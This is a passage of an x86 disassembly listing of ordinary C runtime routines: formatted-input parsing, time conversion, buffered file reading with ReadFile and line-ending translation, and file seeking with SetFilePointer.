loc_41B2FC: ; CODE XREF: sub_41AD1D+5BCj xor dl, dl jmp short loc_41B2B4 ; --------------------------------------------------------------------------- loc_41B300: ; CODE XREF: sub_41AD1D+5A0j ; sub_41AD1D+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41B2B4 ; --------------------------------------------------------------------------- loc_41B319: ; CODE XREF: sub_41AD1D+59Bj cmp byte ptr [edi], 0 jz loc_41B723 cmp [ebp+var_3C], 7Bh jnz short loc_41B32B mov [ebp+arg_4], edi loc_41B32B: ; CODE XREF: sub_41AD1D+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41B793 pop ecx pop ecx loc_41B342: ; CODE XREF: sub_41AD1D+6BCj ; sub_41AD1D+6C4j cmp [ebp+var_20], 0 jz short loc_41B356 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41B3F2 loc_41B356: ; CODE XREF: sub_41AD1D+629j inc [ebp+var_4] push edi call sub_41B779 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41B3E6 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41B3E6 cmp [ebp+var_E], 0 jnz short loc_41B3DE cmp [ebp+var_16], 0 jz short loc_41B3D3 mov ecx, ds:off_437D50 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41B3B2 inc [ebp+var_4] push edi call sub_41B779 pop ecx mov [ebp+var_37], al loc_41B3B2: ; CODE XREF: sub_41AD1D+686j push ds:dword_437F5C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41DFAD mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41B3D6 ; --------------------------------------------------------------------------- loc_41B3D3: ; CODE XREF: sub_41AD1D+673j mov [esi], al inc esi loc_41B3D6: ; CODE XREF: sub_41AD1D+6B4j mov [ebp+var_2C], esi jmp loc_41B342 ; --------------------------------------------------------------------------- loc_41B3DE: ; CODE XREF: sub_41AD1D+66Dj inc [ebp+var_30] jmp loc_41B342 ; --------------------------------------------------------------------------- loc_41B3E6: ; CODE XREF: sub_41AD1D+649j ; sub_41AD1D+667j dec [ebp+var_4] push edi push eax call sub_41B793 pop ecx pop ecx loc_41B3F2: ; CODE XREF: sub_41AD1D+633j cmp [ebp+var_30], esi jz loc_41B723 cmp [ebp+var_E], 0 jnz loc_41B684 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41B684 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41B424 and word ptr [eax], 0 jmp loc_41B684 ; --------------------------------------------------------------------------- loc_41B424: ; CODE XREF: sub_41AD1D+6FCj and byte ptr [eax], 0 jmp loc_41B684 ; --------------------------------------------------------------------------- loc_41B42C: ; CODE XREF: sub_41AD1D+466j mov [ebp+var_D], 1 loc_41B430: ; CODE XREF: sub_41AD1D+203j ; sub_41AD1D+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41B43E mov [ebp+var_17], 1 jmp short loc_41B443 ; --------------------------------------------------------------------------- loc_41B43E: ; CODE XREF: sub_41AD1D+719j cmp ebx, 2Bh jnz short loc_41B465 loc_41B443: ; CODE XREF: sub_41AD1D+71Fj dec [ebp+var_C] jnz short loc_41B454 cmp [ebp+var_20], 0 jz short loc_41B454 mov [ebp+var_F], 1 jmp short loc_41B465 ; --------------------------------------------------------------------------- loc_41B454: ; CODE XREF: sub_41AD1D+729j ; sub_41AD1D+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41B779 pop ecx mov ebx, eax loc_41B462: ; CODE XREF: sub_41AD1D+543j mov [ebp+var_14], ebx loc_41B465: ; CODE XREF: sub_41AD1D+4FDj ; sub_41AD1D+52Dj ... cmp [ebp+var_30], 0 jz loc_41B57E cmp [ebp+var_F], 0 jnz loc_41B55C loc_41B479: ; CODE XREF: sub_41AD1D+82Cj cmp esi, 78h jnz short loc_41B4CD cmp ds:dword_437F5C, 1 jle short loc_41B496 push 80h push ebx call sub_418536 pop ecx pop ecx jmp short loc_41B4A3 ; --------------------------------------------------------------------------- loc_41B496: ; CODE XREF: sub_41AD1D+768j mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, 80h loc_41B4A3: ; CODE XREF: sub_41AD1D+777j test eax, eax jz loc_41B54E mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41E0A0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41B742 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B520 ; --------------------------------------------------------------------------- loc_41B4CD: ; CODE XREF: sub_41AD1D+75Fj cmp ds:dword_437F5C, 1 jle short loc_41B4E2 push 4 push ebx call sub_418536 pop ecx pop ecx jmp short loc_41B4ED ; --------------------------------------------------------------------------- loc_41B4E2: ; CODE XREF: sub_41AD1D+7B7j mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, 4 loc_41B4ED: ; CODE XREF: sub_41AD1D+7C3j test eax, eax jz short loc_41B54E cmp esi, 6Fh jnz short loc_41B50B cmp ebx, 38h jge short loc_41B54E mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41E0A0 jmp short loc_41B51A ; --------------------------------------------------------------------------- loc_41B50B: ; CODE XREF: sub_41AD1D+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_415980 loc_41B51A: ; CODE XREF: sub_41AD1D+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41B520: ; CODE XREF: sub_41AD1D+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41B538 dec [ebp+var_C] jz short loc_41B55C loc_41B538: ; CODE XREF: sub_41AD1D+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41B779 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41B479 ; --------------------------------------------------------------------------- loc_41B54E: ; CODE XREF: sub_41AD1D+788j ; sub_41AD1D+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B793 pop ecx pop ecx loc_41B55C: ; CODE XREF: sub_41AD1D+756j ; sub_41AD1D+819j cmp [ebp+var_17], 0 jz loc_41B642 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41B642 ; --------------------------------------------------------------------------- loc_41B57E: ; CODE XREF: sub_41AD1D+74Cj cmp [ebp+var_F], 0 jnz loc_41B63A loc_41B588: ; CODE XREF: sub_41AD1D+90Aj cmp esi, 78h jz short loc_41B5CC cmp esi, 70h jz short loc_41B5CC cmp ds:dword_437F5C, 1 jle short loc_41B5A7 push 4 push ebx call sub_418536 pop ecx pop ecx jmp short loc_41B5B2 ; --------------------------------------------------------------------------- loc_41B5A7: ; CODE XREF: sub_41AD1D+87Cj mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, 4 loc_41B5B2: ; CODE XREF: sub_41AD1D+888j test eax, eax jz short loc_41B62C cmp esi, 6Fh jnz short loc_41B5C5 cmp ebx, 38h jge short loc_41B62C shl edi, 3 jmp short loc_41B604 ; --------------------------------------------------------------------------- loc_41B5C5: ; CODE XREF: sub_41AD1D+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41B604 ; --------------------------------------------------------------------------- loc_41B5CC: ; CODE XREF: sub_41AD1D+86Ej ; sub_41AD1D+873j cmp ds:dword_437F5C, 1 jle short loc_41B5E4 push 80h push ebx call sub_418536 pop ecx pop ecx jmp short loc_41B5F1 ; --------------------------------------------------------------------------- loc_41B5E4: ; CODE XREF: sub_41AD1D+8B6j mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, 80h loc_41B5F1: ; CODE XREF: sub_41AD1D+8C5j test eax, eax jz short loc_41B62C push ebx shl edi, 4 call sub_41B742 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B604: ; CODE XREF: sub_41AD1D+8A6j ; sub_41AD1D+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41B616 dec [ebp+var_C] jz short loc_41B63A loc_41B616: ; CODE XREF: sub_41AD1D+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41B779 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41B588 ; --------------------------------------------------------------------------- loc_41B62C: ; CODE XREF: sub_41AD1D+897j ; sub_41AD1D+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B793 pop ecx pop ecx loc_41B63A: ; CODE XREF: sub_41AD1D+865j ; sub_41AD1D+8F7j cmp [ebp+var_17], 0 jz short loc_41B642 neg edi loc_41B642: ; CODE XREF: sub_41AD1D+843j ; sub_41AD1D+85Cj ... cmp esi, 46h jnz short loc_41B64B and [ebp+var_1C], 0 loc_41B64B: ; CODE XREF: sub_41AD1D+928j cmp [ebp+var_1C], 0 jz loc_41B723 cmp [ebp+var_E], 0 jnz short loc_41B684 inc [ebp+var_34] loc_41B65E: ; CODE XREF: sub_41AD1D+23Bj cmp [ebp+var_30], 0 jz short loc_41B674 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41B684 ; --------------------------------------------------------------------------- loc_41B674: ; CODE XREF: sub_41AD1D+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41B681 mov [eax], edi jmp short loc_41B684 ; --------------------------------------------------------------------------- loc_41B681: ; CODE XREF: sub_41AD1D+95Ej mov [eax], di loc_41B684: ; CODE XREF: sub_41AD1D+241j ; sub_41AD1D+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41B6D1 ; --------------------------------------------------------------------------- loc_41B68F: ; CODE XREF: sub_41AD1D+93j inc [ebp+var_4] push edi call sub_41B779 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41B6FE mov ecx, ds:off_437D50 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41B6D1 inc [ebp+var_4] push edi call sub_41B779 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41B70C dec [ebp+var_4] loc_41B6D1: ; CODE XREF: sub_41AD1D+970j ; sub_41AD1D+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41B6E7 cmp byte ptr [esi], 25h jnz short loc_41B729 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41B729 mov esi, eax loc_41B6E7: ; CODE XREF: sub_41AD1D+9B8j mov al, [esi] test al, al jnz loc_41AD47 jmp short loc_41B723 ; --------------------------------------------------------------------------- loc_41B6F3: ; CODE XREF: sub_41AD1D+1F4j ; sub_41AD1D+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41B703 ; --------------------------------------------------------------------------- loc_41B6FE: ; CODE XREF: sub_41AD1D+98Aj dec [ebp+var_4] push edi push ebx loc_41B703: ; CODE XREF: sub_41AD1D+9DFj call sub_41B793 pop ecx pop ecx jmp short loc_41B723 ; --------------------------------------------------------------------------- loc_41B70C: ; CODE XREF: sub_41AD1D+9AFj dec [ebp+var_4] push edi push eax call sub_41B793 dec [ebp+var_4] push edi push ebx call sub_41B793 add esp, 10h loc_41B723: ; CODE XREF: sub_41AD1D+1Fj ; sub_41AD1D+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41B73A loc_41B729: ; CODE XREF: sub_41AD1D+9BDj ; sub_41AD1D+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41B73D cmp [ebp+var_15], al jnz short loc_41B73D or eax, 0FFFFFFFFh jmp short loc_41B73D ; --------------------------------------------------------------------------- loc_41B73A: ; CODE XREF: sub_41AD1D+A0Aj mov eax, [ebp+var_34] loc_41B73D: ; CODE XREF: sub_41AD1D+A11j ; sub_41AD1D+A16j ... pop edi pop esi pop ebx leave retn sub_41AD1D endp ; =============== S U B R O U T I N E ======================================= sub_41B742 proc near ; CODE XREF: sub_41AD1D+7A3p ; sub_41AD1D+8DCp arg_0 = dword ptr 4 cmp ds:dword_437F5C, 1 push esi jle short loc_41B75C mov esi, [esp+4+arg_0] push 4 push esi call sub_418536 pop ecx pop ecx jmp short loc_41B76B ; --------------------------------------------------------------------------- loc_41B75C: ; CODE XREF: sub_41B742+8j mov esi, [esp+4+arg_0] mov eax, ds:off_437D50 mov al, [eax+esi*2] and eax, 4 loc_41B76B: ; CODE XREF: sub_41B742+18j test eax, eax jnz short loc_41B775 and esi, 0FFFFFFDFh sub esi, 7 loc_41B775: ; CODE XREF: sub_41B742+2Bj mov eax, esi pop esi retn sub_41B742 endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: sub_41AD1D+1E1p ; sub_41AD1D+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41B78B mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41B78B: ; CODE XREF: sub_41B779+7j push edx call sub_41B890 pop ecx retn sub_41B779 endp ; =============== S U B R O U T I N E ======================================= sub_41B793 proc near ; CODE XREF: sub_41AD1D+6Bp ; sub_41AD1D+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41B7A9 push [esp+arg_4] push [esp+4+arg_0] call sub_41E0BF pop ecx pop ecx locret_41B7A9: ; CODE XREF: sub_41B793+5j retn sub_41B793 endp ; =============== S U B R O U T I N E ======================================= sub_41B7AA proc near ; CODE XREF: sub_41AD1D+63p ; sub_41AD1D+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41B7B0: ; CODE XREF: sub_41B7AA+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41B779 mov edi, eax push edi call sub_41E075 pop ecx test eax, eax pop ecx jnz short loc_41B7B0 mov eax, edi pop edi pop esi retn sub_41B7AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B7CE proc near ; CODE XREF: seg000:00416B7Dp var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41B88A cmp ebx, 8Ah jg loc_41B88A push esi push edi mov edi, [ebp+arg_4] mov esi, ds:dword_4387E4[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41B80D cmp edi, 2 jle short loc_41B80D inc esi loc_41B80D: ; CODE XREF: sub_41B7CE+37j ; sub_41B7CE+3Cj call sub_41E12D mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, ds:dword_438700 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41B880 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41B886 cmp ds:dword_438704, 0 jz short loc_41B886 lea eax, [ebp+var_24] push eax call sub_41E3A0 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41B886 loc_41B880: ; CODE XREF: sub_41B7CE+90j add ecx, ds:dword_438708 loc_41B886: ; CODE XREF: sub_41B7CE+96j ; sub_41B7CE+9Fj ... mov eax, ecx jmp short loc_41B88D ; --------------------------------------------------------------------------- loc_41B88A: ; CODE XREF: sub_41B7CE+13j ; sub_41B7CE+1Fj or eax, 0FFFFFFFFh loc_41B88D: ; CODE XREF: sub_41B7CE+BAj pop ebx leave retn sub_41B7CE endp ; =============== S U B R O U T I N E ======================================= sub_41B890 proc near ; CODE XREF: sub_416B90+A9p ; sub_41711C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41B964 test al, 40h jnz loc_41B964 test al, 2 jz short loc_41B8B6 or al, 20h mov [esi+0Ch], eax jmp loc_41B964 ; --------------------------------------------------------------------------- loc_41B8B6: ; CODE XREF: sub_41B890+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41B8CA push esi call sub_41D04C pop ecx jmp short loc_41B8CF ; --------------------------------------------------------------------------- loc_41B8CA: ; CODE XREF: sub_41B890+2Fj mov eax, [esi+8] mov [esi], eax loc_41B8CF: ; CODE XREF: sub_41B890+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41B969 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41B953 cmp eax, 0FFFFFFFFh jz short loc_41B953 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41B928 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41B911 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, ds:dword_46A7A0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41B916 ; --------------------------------------------------------------------------- loc_41B911: ; CODE XREF: sub_41B890+6Bj mov edi, offset dword_4383B0 loc_41B916: ; CODE XREF: sub_41B890+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41B928 or dh, 20h mov [esi+0Ch], edx loc_41B928: ; CODE XREF: sub_41B890+62j ; sub_41B890+90j cmp dword ptr [esi+18h], 200h jnz short loc_41B945 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41B945 test ch, 4 jnz short loc_41B945 mov dword ptr [esi+18h], 1000h loc_41B945: ; CODE XREF: sub_41B890+9Fj ; sub_41B890+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41B953: ; CODE XREF: sub_41B890+55j ; sub_41B890+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41B964: ; CODE XREF: sub_41B890+Aj ; sub_41B890+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41B890 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B969 proc near ; CODE XREF: sub_416B90+90p ; sub_41B890+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, ds:dword_46A8A0 jnb loc_41BB46 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:46A7A0h[eax*4] mov eax, ds:dword_46A7A0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41BB46 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41BA1E test dl, 2 jnz short loc_41BA1E test dl, 48h jz short loc_41B9DE mov al, [eax+5] cmp al, 0Ah jz short loc_41B9DE dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41B9DE: ; CODE XREF: sub_41B969+56j ; sub_41B969+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call ds:dword_421068 ; ReadFile test eax, eax jnz short loc_41BA31 call ds:dword_421088 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41BA19 mov ds:dword_469474, 9 mov ds:dword_469478, ecx jmp loc_41BB57 ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B969+99j cmp eax, 6Dh jnz short loc_41BA25 loc_41BA1E: ; CODE XREF: sub_41B969+4Cj ; sub_41B969+51j xor eax, eax jmp loc_41BB5A ; --------------------------------------------------------------------------- loc_41BA25: ; CODE XREF: sub_41B969+B3j push eax call sub_41C5B7 pop ecx jmp loc_41BB57 ; --------------------------------------------------------------------------- loc_41BA31: ; CODE XREF: sub_41B969+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41BB41 test edx, edx jz short loc_41BA56 cmp byte ptr [edi], 0Ah jnz short loc_41BA56 or al, 4 jmp short loc_41BA58 ; --------------------------------------------------------------------------- loc_41BA56: ; CODE XREF: sub_41B969+E2j ; sub_41B969+E7j and al, 0FBh loc_41BA58: ; CODE XREF: sub_41B969+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41BB3B loc_41BA70: ; CODE XREF: sub_41B969+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41BB2B cmp al, 0Dh jz short loc_41BA8C mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41BB1D ; --------------------------------------------------------------------------- loc_41BA8C: ; CODE XREF: sub_41B969+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41BAAA mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41BAA1 add [ebp+arg_8], 2 jmp short loc_41BAFF ; --------------------------------------------------------------------------- loc_41BAA1: ; CODE XREF: sub_41B969+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41BB1D ; --------------------------------------------------------------------------- loc_41BAAA: ; CODE XREF: sub_41B969+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_421068 ; ReadFile test eax, eax jnz short loc_41BAD2 call ds:dword_421088 ; RtlGetLastWin32Error test eax, eax jnz short loc_41BB19 loc_41BAD2: ; CODE XREF: sub_41B969+15Dj cmp [ebp+var_C], 0 jz short loc_41BB19 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41BAF4 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41BAFF mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41BB1D ; --------------------------------------------------------------------------- loc_41BAF4: ; CODE XREF: sub_41B969+176j cmp edi, [ebp+arg_4] jnz short loc_41BB04 cmp [ebp+var_1], 0Ah jnz short loc_41BB04 loc_41BAFF: ; CODE XREF: sub_41B969+136j ; sub_41B969+17Dj mov byte ptr [edi], 0Ah jmp short loc_41BB1C ; --------------------------------------------------------------------------- loc_41BB04: ; CODE XREF: sub_41B969+18Ej ; sub_41B969+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41BB5F add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41BB1D loc_41BB19: ; CODE XREF: sub_41B969+167j ; sub_41B969+16Dj mov byte ptr [edi], 0Dh loc_41BB1C: ; CODE XREF: sub_41B969+199j inc edi loc_41BB1D: ; CODE XREF: sub_41B969+11Ej ; sub_41B969+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41BA70 jmp short loc_41BB3B ; --------------------------------------------------------------------------- loc_41BB2B: ; CODE XREF: sub_41B969+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41BB3B or al, 2 mov [esi], al loc_41BB3B: ; CODE XREF: sub_41B969+101j ; sub_41B969+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41BB41: ; CODE XREF: sub_41B969+DAj mov eax, [ebp+var_8] jmp short loc_41BB5A ; --------------------------------------------------------------------------- loc_41BB46: ; CODE XREF: sub_41B969+12j ; sub_41B969+39j and ds:dword_469478, 0 mov ds:dword_469474, 9 loc_41BB57: ; CODE XREF: sub_41B969+ABj ; sub_41B969+C3j or eax, 0FFFFFFFFh loc_41BB5A: ; CODE XREF: sub_41B969+B7j ; sub_41B969+1DBj pop edi pop esi pop ebx leave retn sub_41B969 endp ; =============== S U B R O U T I N E ======================================= sub_41BB5F proc near ; CODE XREF: seg000:00416E85p ; sub_417C17+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, ds:dword_46A8A0 push esi push edi jnb short loc_41BBE1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:46A7A0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41BBE1 push eax call sub_41D4A6 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41BBA3 mov ds:dword_469474, 9 jmp short loc_41BBF2 ; --------------------------------------------------------------------------- loc_41BBA3: ; CODE XREF: sub_41BB5F+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call ds:dword_4210AC ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41BBC3 call ds:dword_421088 ; RtlGetLastWin32Error jmp short loc_41BBC5 ; --------------------------------------------------------------------------- loc_41BBC3: ; CODE XREF: sub_41BB5F+5Aj xor eax, eax loc_41BBC5: ; CODE XREF: sub_41BB5F+62j test eax, eax jz short loc_41BBD2 push eax call sub_41C5B7 pop ecx jmp short loc_41BBF2 ; --------------------------------------------------------------------------- loc_41BBD2: ; CODE XREF: sub_41BB5F+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41BBF5 ; --------------------------------------------------------------------------- loc_41BBE1: ; CODE XREF: sub_41BB5F+Dj ; sub_41BB5F+2Aj and ds:dword_469478, 0 mov ds:dword_469474, 9 loc_41BBF2: ; CODE XREF: sub_41BB5F+42j ; sub_41BB5F+71j or eax, 0FFFFFFFFh loc_41BBF5: ; CODE XREF: sub_41BB5F+80j pop edi pop esi pop ebx retn sub_41BB5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBF9 proc near ; CODE XREF: seg000:00416E48p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41BC15 mov [edi+4], ebx loc_41BC15: ; CODE XREF: sub_41BBF9+17j push 1 push ebx push esi call sub_41BB5F add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41BC83 mov edx, [edi+0Ch] test dx, 108h jnz short loc_41BC3A sub eax, [edi+4] jmp loc_41BD4C ; --------------------------------------------------------------------------- loc_41BC3A: ; CODE XREF: sub_41BBF9+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41BC74 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, ds:dword_46A7A0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41BC8B mov edx, ecx loc_41BC65: ; CODE XREF: sub_41BBF9+79j cmp edx, eax jnb short loc_41BC8B cmp byte ptr [edx], 0Ah jnz short loc_41BC71 inc [ebp+var_8] loc_41BC71: ; CODE XREF: sub_41BBF9+73j inc edx jmp short loc_41BC65 ; --------------------------------------------------------------------------- loc_41BC74: ; CODE XREF: sub_41BBF9+50j test dl, 80h jnz short loc_41BC8B mov ds:dword_469474, 16h loc_41BC83: ; CODE XREF: sub_41BBF9+2Dj or eax, 0FFFFFFFFh jmp loc_41BD4C ; --------------------------------------------------------------------------- loc_41BC8B: ; CODE XREF: sub_41BBF9+68j ; sub_41BBF9+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41BC99 mov eax, [ebp+var_8] jmp loc_41BD4C ; --------------------------------------------------------------------------- loc_41BC99: ; CODE XREF: sub_41BBF9+96j test byte ptr [edi+0Ch], 1 jz loc_41BD44 mov edx, [edi+4] test edx, edx jnz short loc_41BCB2 and [ebp+var_8], edx jmp loc_41BD44 ; --------------------------------------------------------------------------- loc_41BCB2: ; CODE XREF: sub_41BBF9+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:46A7A0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41BD3E push 2 push 0 push [ebp+var_C] call sub_41BB5F add esp, 0Ch cmp eax, 